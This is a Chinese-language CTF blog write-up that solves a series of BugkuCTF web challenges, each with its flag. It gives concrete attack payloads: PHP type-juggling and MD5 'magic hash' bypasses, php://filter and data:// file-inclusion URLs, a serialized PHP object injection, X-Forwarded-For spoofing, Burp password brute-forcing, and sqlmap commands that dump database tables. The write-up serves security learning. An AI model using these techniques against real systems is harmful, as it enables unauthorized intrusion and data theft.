Error message here!

Hide Error message here!

忘记密码?

Error message here!

请输入正确邮箱

Hide Error message here!

密码丢失?请输入您的电子邮件地址。您将收到一个重设密码链接。

Error message here!

返回登录

Close

BugkuCTF~Web~WriteUp

Pretty_girll 2019-02-16 18:30:00 阅读数:252 评论数:0 点赞数:0 收藏数:0

今天把之前做的题整理一下,方便有需要的人学习 φ(゜▽゜/*)♪

web2

考点:F12的利用

Topic Link:http://123.206.87.240:8002/web2/

打开连接,特别的不一样,直接F12可得flag

get flag:flag KEY{Web-2-bugKssNNikls9100}

 

计算器

考点:F12的利用

Topic Link:http://120.24.86.145:8002/yanzhengma/

发现输入框对输入的数据长度有限制,F12进行修改长度输入正确结果即可获得flag一枚

get flag:flag{CTF-bugku-0032}

 

web基础$_GET考点: 代码审计、$_GET利用

Topic Link:http://120.24.86.145:8002/get/

传送$_GET型数据即可获得flag一枚

get flag:flagflag{bugkugetsu8kej2en}

 

web基础$_POST

考点:代码审计、$_POST利用

Topic Link:http://120.24.86.145:8002/post/

提交$_POST数据即可获得flag一枚

get flag:flagflag{bugkugetssseint67se}

 

矛盾

考点:php弱类型

Topic Link:http://120.24.86.145:8002/get/index1.php

$num=$GET['num'];if(!isnumeric($num)) {echo $num;if($num==1)echo 'flag{//////////}'; }

看了确实矛盾,不让传递纯数字数据却要和纯数字1相等,该怎么办呢,

这里可以利用PHP的“==”弱类型漏洞进行绕过

构造playload为http://120.24.86.145:8002/get/index1.php?num=1aaa即可获得flag一枚

get flag:flag{bugku-789-ps-ssdf}

 

web3

考点:编码&解码

Topic Link:http://120.24.86.145:8002/web3/

提示flag在这里那就在这找吧,F12得到一串特殊的字符串,进行ASCII转化或者直接放入浏览器的地址栏里直接回车即可获得flag一枚

 get flag:KEY{J2sa42ahJK&/#4}

 

域名解析

考点:域名解析

Topic Link:flag.bugku.com

按题目要求域名解析flag.bugku.com,才能得到flag

配置hosts文件,将120.24.86.145 flag.bugku.com添加进去,然后访问flag.bugku.com即可获得flag一枚

Linux系统在/etc/hosts目录下,修改需要root权限

windows系统在c:windowssystem32driversetchosts目录下,若不让修改,可以把之前的进行备份然后新建一个hosts文本文档进行追加覆盖

 get flag:KEY{DSAHDSJ82HDS2211}

 

你必须让他停下考点:网页抓包分析

Topic Link:http://123.206.87.240:8002/web12/

 

发现页面一直在闪动,F12可看到flag is here~,先用BP抓个包分析可知一直点击go的时候,服务器的响应报文中一个图片>

一直在变,发现当如果是10.jpg的时候服务器的响应报文中有flag

 get flag:flag{dummygame1ss0popular}

 

文件上传测试

考点:文件上传

Topic Link:http://103.238.227.13:10085/

按要求提交一个PHP文件,服务端却提示非图片文件

尝试改后缀名为图片格式(jpg png gif)却不行

可能就是Content-Type的缘故,BP抓包,将Content-Type改为image/jpeg即可得到flag一枚

get flag:Flag:42e97d465f962c53df9549377b513c7e

 

变量1考点:php变量覆盖漏洞 $$

Topic Link:http://120.24.86.145:8004/index1.php

flag In the variable ! reporting(0);include "flag1.php";highlightfile(file);if(isset($GET['args'])){$args = $GET['args'];if(!preg_match("/^w+$/",$args)){die("args error!"); }eval("var_dump($$args);"); }?>

分析代码可以发现是php变量覆盖漏洞,构造payload

http://120.24.86.145:8004/index1.php?args=GLOBALS

打印变量表中的所有变量,即可获得flag一枚 

 get flag:flag{92853051ab894a64f7865cf3c2128b34}

 

web5

考点:JS

Topic Link:http://123.206.87.240:8002/web5/

不知道submit什么,先查看源代码发现有一段JS编码,直接放到控制台就得到了flag

 get flag:ctf{whatfk}

 

头等舱

考点:网页抓包分析

Topic Link:http://120.24.86.145:9009/hd.php

里面什么都没有,先抓个包看有没有有用信息,结果服务器的响应报文头部包含flag

get flag:flag{Bugkuk823s_istra}

 

网站被黑考点: 字典爆破

Topic Link:http://123.206.87.240:8002/webshell/

根据提示网站存在漏洞,利用御剑扫描工具进行扫描

进入shell.php网页中,发现需要密码验证,利用burpsuite进行爆破

爆破对象

字典选取

 读取结果

输入pass: hack

get flag:flag{hackbugku035}

各类爆破字典集下载:

GitHub项目地址:https://github.com/PrettyGir1/Blasting-dictionary

 

管理员系统

考点:IP伪造、base64编码

Topic Link:http://123.206.31.85:1003/

F12查看源码发现一个特殊的字符串 进行base64解密之后得到==》test123

利用用户名admin尝试登陆,发现未果,页面还是提示IP已被记录,抓包进行伪造IP,在HTTP请求中添加请求头X-Forwarded-For: 127.0.0.1

在响应包里面的源码里发现包含flag

get flag:flag{85ff2ee4171396724bae20c0bd851f6b}

 

web4

考点:url编码

Topic Link:http://120.24.86.145:8002/web4/

按提示查看源代码 BKCTF-WEB4

看看源代码?

将p1和p2,“%35%34%61%61%32”进行URL解码或者十六进制转换ASCII(不过需要先去除%)

66 75 6e 63 74 69 6f 6e 20 63 68 65 63 6b 53 75 62 6d 69 74 28 29 7b 76 61 72 20 61 3d 64 6f 63 75 6d 65 6e 74 2e 67 65 74 45 6c 65 6d 65 6e 74 42 79 49 64 28 22 70 61 73 73 77 6f 72 64 22 29 3b 69 66 28 22 75 6e 64 65 66 69 6e 65 64 22 21 3d 74 79 70 65 6f 66 20 61 29 7b 69 66 28 22 36 37 64 37 30 39 62 32 62 35 34 61 61 32 61 61 36 34 38 63 66 36 65 38 37 61 37 31 31 34 66 31 22 3d 3d 61 2e 76 61 6c 75 65 29 72 65 74 75 72 6e 21 30 3b 61 6c 65 72 74 28 22 45 72 72 6f 72 22 29 3b 61 2e 66 6f 63 75 73 28 29 3b 72 65 74 75 72 6e 21 31 7d 7d 64 6f 63 75 6d 65 6e 74 2e 67 65 74 45 6c 65 6d 65 6e 74 42 79 49 64 28 22 6c 65 76 65 6c 51 75 65 73 74 22 29 2e 6f 6e 73 75 62 6d 69 74 3d 63 68 65 63 6b 53 75 62 6d 69 74 3b

按照eval()函数进行组合,得到一个function函数

functioncheckSubmit(){var a=document.getElementById("password");if("undefined"!=typeof a){if("67d709b2b54aa2aa648cf6e87a7114f1"==a.value)return!0; alert("Error"); a.focus();return!1} } document.getElementById("levelQuest").onsubmit=checkSubmit;

提交字符串"67d709b2b54aa2aa648cf6e87a7114f1"即可获得flag

get flag:KEY{J22JK-HS11}

 

flag在index里考点:php伪协议 

Topic Link:http://123.206.87.240:8005/post/

知识简介:php伪协议:file://— 访问本地文件系统 http://— 访问 HTTP(s) 网址 ftp://— 访问 FTP(s) URLs php://— 访问各个输入/输出流(I/O streams) zlib://— 压缩流 data://— 数据(RFC 2397) glob://— 查找匹配的文件路径模式 phar://— PHP 归档 ssh2://— Secure Shell 2 rar://— RAR ogg://— 音频流 expect://— 处理交互式的流

点击按钮:click me? no 

进入test5界面

分析?file=show.php测试是否存在文件包含漏洞利用php伪协议进行测试根据题目提示:flag在index里尝试payload:?file=php://filter/convert.base64-encode/resource=index.php获取index.php经过base64加密的源码,对其进行解密:

在源码中 get flag:flag:flag{edulcnieliflacolsisiht}

 

输入密码查看flag考点:字典爆破 

Topic Link:http://123.206.87.240:8002/baopo/

 

利用BurpSuite进行爆破密码

获取爆破对象

获取爆破字典

 

根据Length获取密码: 13579

 输入pwd:13579

get flag:flag{bugku-baopo-hah}

 

 

点击一百万次考点:代码审计 

Topic Link:http://123.206.87.240:9001/test/

 根据页面显示需要点击曲奇1000000次才能够得到flag,是不是感觉很好玩 /-/

查看源码,分析

通过POST传递数据对clicks赋值大于1000000就可以得到flag,是不是比鼠标点击快好多了,哈哈哈哈哈

get flag:flag{Not_C00kI3Cl1ck3r}

 

备份是个好习惯

知识简介

strstr()函数语法:strstr— 查找字符串的首次出现string strstr( string $haystack, mixed $needle[, bool $before_needle = FALSE] ) 返回 haystack 字符串从 needle 第一次出现的位置开始到 haystack 结尾的字符串。

substr()函数语法:

substr— 返回字符串的子串string substr( string $string, int $start[, int $length] ) 返回字符串string由 start 和 length 参数指定的子字符串。 参数string输入字符串。必须至少有一个字符。 start 如果 start 是非负数,返回的字符串将从string 的 start 位置开始,从 0 开始计算。例如,在字符串 "abcdef" 中,在位置 0 的字符是 "a",位置 2 的字符串是 "c"等等。 如果 start 是负数,返回的字符串将从string结尾处向前数第 start 个字符开始。 如果string 的长度小于 start,将返回 FALSE。 length 如果提供了正数的 length,返回的字符串将从 start 处开始最多包括 length 个字符(取决于string的长度)。 如果提供了负数的 length,那么string 末尾处的 length 个字符将会被省略(若 start 是负数则从字符串尾部算起)。如果 start 不在这段文本中,那么将返回 FALSE。 如果提供了值为0,FALSE 或 NULL的 length,那么将返回一个空字符串。 如果没有提供 length,返回的子字符串将从 start 位置开始直到字符串结尾。 返回值 返回提取的子字符串, 或者在失败时返回FALSE。

str_replace()函数语法:

strreplace— 子字符串替换 mixed strreplace( mixed $search, mixed $replace, mixed $subject[, int &$count] ) 该函数返回一个字符串或者数组。该字符串或数组是将 subject 中全部的 search 都被 replace 替换之后的结果。 如果没有一些特殊的替换需求(比如正则表达式),你应该使用该函数替换 ereg_replace() 和 preg_replace()。 参数 如果 search 和 replace 为数组,那么 str_replace() 将对 subject 做二者的映射替换。如果 replace 的值的个数少于 search 的个数,多余的替换将使用空字符串来进行。如果 search 是一个数组而 replace 是一个字符串,那么 search 中每个元素的替换将始终使用这个字符串。该转换不会改变大小写。 如果 search 和 replace 都是数组,它们的值将会被依次处理。 search 查找的目标值,也就是 needle。一个数组可以指定多个目标。 replace search 的替换值。一个数组可以被用来指定多重替换。 subject 执行替换的数组或者字符串。也就是 haystack。 如果 subject 是一个数组,替换操作将遍历整个 subject,返回值也将是一个数组。 count如果被指定,它的值将被设置为替换发生的次数。 返回值 该函数返回替换后的数组或者字符串。

parse_str()函数语法:

parsestr— 将字符串解析成多个变量 voidparsestr( string $encodedstring[, array &$result] ) 如果 encodedstring 是 URL 传递入的查询字符串(querystring),则将它解析为变量并设置到当前作用域(如果提供了 result 则会设置到该数组里 )。 参数 encoded_string 输入的字符串。 result 如果设置了第二个变量 result,变量将会以数组元素的形式存入到这个数组,作为替代。 返回值 没有返回值。

md5函数语法:

md5 — 计算字符串的 MD5散列值string md5( string $str[, bool $raw_output = false] ) 参数 str 原始字符串。 raw_output 如果可选的 raw_output 被设置为TRUE,那么 MD5报文摘要将以16字节长度的原始二进制格式返回。 返回值 以32 字符十六进制数字形式返回散列值。

 

题目信息考点:代码审计、MD5

Topic Link:http://123.206.87.240:8002/web16/

 利用御剑扫描工具对网站进行扫描得到一个.bak文件

 

读取.bak文件/ / Created by PhpStorm. / User: Norse / Date: 2017/8/6 / Time: 20:22/*/ include_once "flag.php";ini_set("display_errors", 0);$str = strstr($_SERVER['REQUEST_URI'], '?');$str = substr($str,1);$str = str_replace('key','',$str);parse_str($str);echo md5($key1);echo md5($key2);if(md5($key1) == md5($key2) && $key1 !== $key2){echo $flag."取得flag"; }?>

代码审计发现需要满足几个条件:1. GET方法进行传递数据 

  1. 传递的数据里面需要有两个变量key1和key2

3.  if(md5($key1) == md5($key2) && $key1 !== $key2)  ==》 TRUE

漏洞利用:1. 用双写key来绕过str_repalce()函数

  1. 利用MD5的特殊字符串绕过if(md5($key1) == md5($key2) && $key1 !== $key2)条件

MD5特殊字符串:QNKCDZO0e830400451993494058024219903391s878926199a0e545993274517709034328855841020s155964671a0e342768416822451524974117254469s214587387a0e848240448830537924465865611904s214587387a0e848240448830537924465865611904s878926199a0e545993274517709034328855841020s1091221200a0e940624217856561557816327384675s1885207154a0e509367213418206700842008763514

构造payload:

http://123.206.87.240:8002/web16/index.php?kekeyy1=s878926199a&kekeyy2=QNKCDZO

get flag:

Bugku{OHYOUFINDMYMOMY}

 

成绩单考点:SQL注入

Topic Link:http://123.206.87.240:8002/chengjidan/

查看界面,进行测试,发现网页通过POST传递ID值来进行改变网页显示内容

分析可能存在SQL注入漏洞,利用sqlmap进行测试

测试代码python2 sqlmap.py -u"http://123.206.87.240:8002/chengjidan/index.php" --dbs --data="id=1"

测试结果,存在SQL注入漏洞,爆出来了数据库

报表python2 sqlmap.py -u"http://123.206.87.240:8002/chengjidan/index.php" --dbs --data="id=1" -D skctf_flag --tables

爆字段python2 sqlmap.py -u"http://123.206.87.240:8002/chengjidan/index.php" --dbs --data="id=1" -D skctf_flag -T fl4g --columns

爆特定字段值python2 sqlmap.py -u"http://123.206.87.240:8002/chengjidan/index.php" --dbs --data="id=1" -D skctfflag -T fl4g -C skctfflag --dump

get flag:BUGKU{SqlINJECT0N4813drd8hz4}

 

never give up考点:eregi()、 代码审计、base64编码、url编码

Topic Link:http://123.206.87.240:8006/test/hello.php

查看网页源代码发现存在 “1p.html” 尝试去访问 http://123.206.87.240:8006/test/1p.html,却跳转到了其它页面,应该是重定向所致,查看1p.html网页源码

将Words值进行解码

url解码

base64解码

";if(!$GET['id']) { header('Location: hello.php?id=1'); exit(); } $id=$GET['id']; $a=$_GET['a']; $b=$_GET['b']; if(stripos($a,'.')) { echo 'no no no no no no no'; return ; } $data = @file_get_contents($a,'r'); if($data=="bugku is a nice plateform!" and $id==0 and strlen($b)>5 and eregi("111".substr($b,0,1),"1114") and substr($b,0,1)!=4) { require("f4l2a3g.txt"); } else { print "never never never give up !!!"; } ?>

代码审计发现需要满足:1. if(!$_GET['id'])条件为假同时$id==0   //感觉很矛盾但是可以利用php弱类型绕过  !aaa ==> 0 & aaa==0 ==> ture

2. $data=="bugku is a nice plateform!"  //利用php伪协议赋值

3. strlen($b)>5 and eregi("111".substr($b,0,1),"1114") and substr($b,0,1)!=4    //利用eregi()函数%00截断漏洞绕过 $b=%00999999999

构造payload:http://123.206.87.240:8006/test/hello.php?id=aaa&a=data://,bugku%20is%20a%20nice%20plateform!&b=%00999999

get flag:

flag{tHisiSTHe_fLaG}

 

welcome to bugkuctf考点:php反序列化漏洞、代码审计 

Topic Link:http://123.206.87.240:8006/test1/

页面源代码:you are not the number of bugku !

代码审计发现需要满足一个条件:1. user的值必须等于"welcome to the bugkuctf"

根据提示 ”include($file);   //hint.php ”  构造初步payload

payload1:http://123.206.87.240:8006/test1/?txt=data://,welcome%20to%20the%20bugkuctf&file=php://filter/convert.base64-encode/resource=hint.php

读取hint.php文件:

PD9waHAgIA0KICANCmNsYXNzIEZsYWd7Ly9mbGFnLnBocCAgDQogICAgcHVibGljICRmaWxlOyAgDQogICAgcHVibGljIGZ1bmN0aW9uIF9fdG9zdHJpbmcoKXsgIA0KICAgICAgICBpZihpc3NldCgkdGhpcy0+ZmlsZSkpeyAgDQogICAgICAgICAgICBlY2hvIGZpbGVfZ2V0X2NvbnRlbnRzKCR0aGlzLT5maWxlKTsgDQoJCQllY2hvICI8YnI+IjsNCgkJcmV0dXJuICgiZ29vZCIpOw0KICAgICAgICB9ICANCiAgICB9ICANCn0gIA0KPz4gIA==

将获取到的base64代码进行解密,获取hint.php文件源码

file)){ echo file_get_contents($this->file); echo "
"; return ("good"); } } } ?>

payload2:

http://123.206.87.240:8006/test1/?txt=data://,welcome%20to%20the%20bugkuctf&file=php://filter/convert.base64-encode/resource=index.php

读取index.php文件

PD9waHAgIA0KJHR4dCA9ICRfR0VUWyJ0eHQiXTsgIA0KJGZpbGUgPSAkX0dFVFsiZmlsZSJdOyAgDQokcGFzc3dvcmQgPSAkX0dFVFsicGFzc3dvcmQiXTsgIA0KICANCmlmKGlzc2V0KCR0eHQpJiYoZmlsZV9nZXRfY29udGVudHMoJHR4dCwncicpPT09IndlbGNvbWUgdG8gdGhlIGJ1Z2t1Y3RmIikpeyAgDQogICAgZWNobyAiaGVsbG8gZnJpZW5kITxicj4iOyAgDQogICAgaWYocHJlZ19tYXRjaCgiL2ZsYWcvIiwkZmlsZSkpeyANCgkJZWNobyAi5LiN6IO9546w5Zyo5bCx57uZ5L2gZmxhZ+WTpiI7DQogICAgICAgIGV4aXQoKTsgIA0KICAgIH1lbHNleyAgDQogICAgICAgIGluY2x1ZGUoJGZpbGUpOyAgIA0KICAgICAgICAkcGFzc3dvcmQgPSB1bnNlcmlhbGl6ZSgkcGFzc3dvcmQpOyAgDQogICAgICAgIGVjaG8gJHBhc3N3b3JkOyAgDQogICAgfSAgDQp9ZWxzZXsgIA0KICAgIGVjaG8gInlvdSBhcmUgbm90IHRoZSBudW1iZXIgb2YgYnVna3UgISAiOyAgDQp9ICANCiAgDQo/PiAgDQogIA0KPCEtLSAgDQokdXNlciA9ICRfR0VUWyJ0eHQiXTsgIA0KJGZpbGUgPSAkX0dFVFsiZmlsZSJdOyAgDQokcGFzcyA9ICRfR0VUWyJwYXNzd29yZCJdOyAgDQogIA0KaWYoaXNzZXQoJHVzZXIpJiYoZmlsZV9nZXRfY29udGVudHMoJHVzZXIsJ3InKT09PSJ3ZWxjb21lIHRvIHRoZSBidWdrdWN0ZiIpKXsgIA0KICAgIGVjaG8gImhlbGxvIGFkbWluITxicj4iOyAgDQogICAgaW5jbHVkZSgkZmlsZSk7IC8vaGludC5waHAgIA0KfWVsc2V7ICANCiAgICBlY2hvICJ5b3UgYXJlIG5vdCBhZG1pbiAhICI7ICANCn0gIA0KIC0tPiAg

将获取到的base64代码进行解密,获取index.php文件源码

GET["txt"]; $file = $GET["file"]; $password = $_GET["password"]; if(isset($txt)&&(file_get_contents($txt,'r')==="welcome to the bugkuctf")){ echo "hello friend!
"; if(preg_match("/flag/",$file)){ echo "不能现在就给你flag哦"; exit(); }else{ include($file); $password = unserialize($password); echo $password; } }else{ echo "you are not the number of bugku ! "; } ?>

分析代码可知:1. file的值不能包含flag字符串

     2. user的值必须等于"welcome to the bugkuctf"

  1. password 的值必须是经过序列化的字符串

php反序列化漏洞:

当一个对象被当作字符串使用时会自动调用魔法函数 "__toString()"

利用php反序列化漏洞进行构造最终payload http://123.206.87.240:8006/test1/?txt=data://,welcome%20to%20the%20bugkuctf&file=hint.php&password=O:4:%22Flag%22:1:{s:4:%22file%22;s:8:%22flag.php%22;}

查看源码

hello friend!
isthebestlanguage} 1 ?>
good

get flag:

flag{phpisthebestlanguage}

 

前女友(SKCTF)考点:MD5 、代码审计

Topic Link:http://123.206.31.85:49162/

查看页面源码

分手了,纠结再三我没有拉黑她,原因无它,放不下。

终于那天,竟然真的等来了她的消息:“在吗?”

我神色平静,但颤抖的双手却显示出我此刻的激动。“怎么了?有事要我帮忙?”

“怎么,没事就不能联系了吗?”结尾处调皮表情,是多么的陌生和熟悉……

“帮我看看这个...”说着,她发来一个链接

不忍心拂她的意就点开了链接,看着屏幕我的心久久不能平静,往事一幕幕涌上心头......

。。。。。。

“我到底做错了什么,要给我看这个!”

“还记得你曾经说过。。。。。。。。”

PHP是世界上最好的语言

根据提示点击链接,得到php代码

GET['v1']) && isset($GET['v2']) && isset($_GET['v3'])){$v1 = $_GET['v1'];$v2 = $_GET['v2'];$v3 = $_GET['v3'];if($v1 != $v2 && md5($v1) == md5($v2)){if(!strcmp($v3, $flag)){echo $flag; } } }?>

代码审计发现需要满足两个条件:1. if(isset($GET['v1']) && isset($GET['v2']) && isset($_GET['v3'])) ==》 TRUE 

2. if($v1 != $v2 && md5($v1) == md5($v2))  ==》 TRUE

利用MD5特殊字符串和strcmp()函数不能不处理数组进行构造payload?v1=QNKCDZO&v2=s1885207154a&v3[]=11

利用MD5和strcmp()函数不能不处理数组进行构造payload

?v1[]=13&v2[]=12&v3[]=11

get flag:SKCTF{Php1stH3B3StL4NgUag3}

 

你从哪里来考点:HTTP请求

Topic Link:http://123.206.87.240:9009/from.php

根据页面提示,构造HTTP请求头,添加Referer字段:Referer: https://www.google.com

抓包构造

get flag:flag{bug-kuaiadmin}

 

程序员本地网站考点:HTTP请求 

Topic Link:http://123.206.87.240:8002/localhost/

根据提示从本地访问,在HTTP请求头里面加上字段 X-Forwarded-For: 127.0.0.1 或者 Client-Ip: 127.0.0.1

get flag:flag{loc-al-h-o-st1}

 

各种绕过考点:代码审计、sha1()

Topic Link:http://123.206.87.240:8002/web7/

 

代码:file('flag.php');$GET['id'] = urldecode($_GET['id']);$flag = 'flag{xxxxxxxxxxxxxxxxxx}';if (isset($_GET['uname']) and isset($_POST['passwd'])) {if ($_GET['uname'] == $_POST['passwd'])print 'passwd can not be uname.';else if (sha1($_GET['uname']) === sha1($_POST['passwd'])&($_GET['id']=='margin'))die('Flag: '.$flag);else print 'sorry!'; }?>

代码审计需要满足:1. $GET['uname']  != $POST['passwd']

2. sha1($GET['uname']) === sha1($POST['passwd'])   //利用数组绕过

3. $_GET['id']=='margin')

利用sha1()不能处理数组进行构造payloadhttp://123.206.87.240:8002/web7/?uname[]=999&id=margin POST:passwd[]=6666

get flag:

Flag: flag{HACK45hhs213sDD}

 

web8

考点:php伪协议

Topic Link:http://123.206.87.240:8002/web8/

页面源码GET);if (!empty($ac)) {$f = trim(fileget_contents($fn));if ($ac === $f) {echo "

This is flag:" ." $flag

"; }else{echo "

sorry!

"; } }?>

代码审计发现需要满足两个条件:1. ac不能为空

2. $ac === $f

利用php伪协议:php://input  构造payloadhttp://123.206.87.240:8002/web8/?ac=123&fn=php://input POST:123

get flag:This is flag: flag{3cfb7a90fc0de31}

 

细心考点:渗透测试 

Topic Link:http://123.206.87.240:8002/web13/

利用御剑web扫描器进行网站的扫描

访问 http://123.206.87.240:8002/web13/robots.txt 根据提示再访问 http://123.206.87.240:8002/web13/resusl.php

根据提示管理员admin尝试给x赋值为admin,意外得到flag

get flag:flag(ctf0098lkji-s)

 

flag.php考点:代码审计、php反序列

地址:http://123.206.87.240:8002/flagphp/

 

点击login确实没反应,根据提示:hint 可能是一个变量,尝试访问 http://123.206.87.240:8002/flagphp/?hint= 得到网页源码正常信息reporting(0);includeonce("flag.php");$cookie = $COOKIE['ISecer'];if(isset($GET['hint'])){show_source(__FILE__); }elseif (unserialize($cookie) === "$KEY") {echo "$flag"; }else{?> Login

代码审计发现需要满足:1. $cookie = $_COOKIE['ISecer']的值必须是经过序列化之后的值

2. unserialize($cookie) === "$KEY"  //此处的$key==null

利用BurpSuite抓包在http请求头部添加cookie字段:ISecer=s:0:"";

get flag:flag{unserializebyvirink}

 

题目更新+ing

 

版权声明
本文为[Pretty_girll]所创,转载请带上原文链接,感谢
https://www.cnblogs.com/prettygirll/p/10388710.html

编程之旅,人生之路,不止于编程,还有诗和远方。
阅代码原理,看框架知识,学企业实践;
赏诗词,读日记,踏人生之路,观世界之行;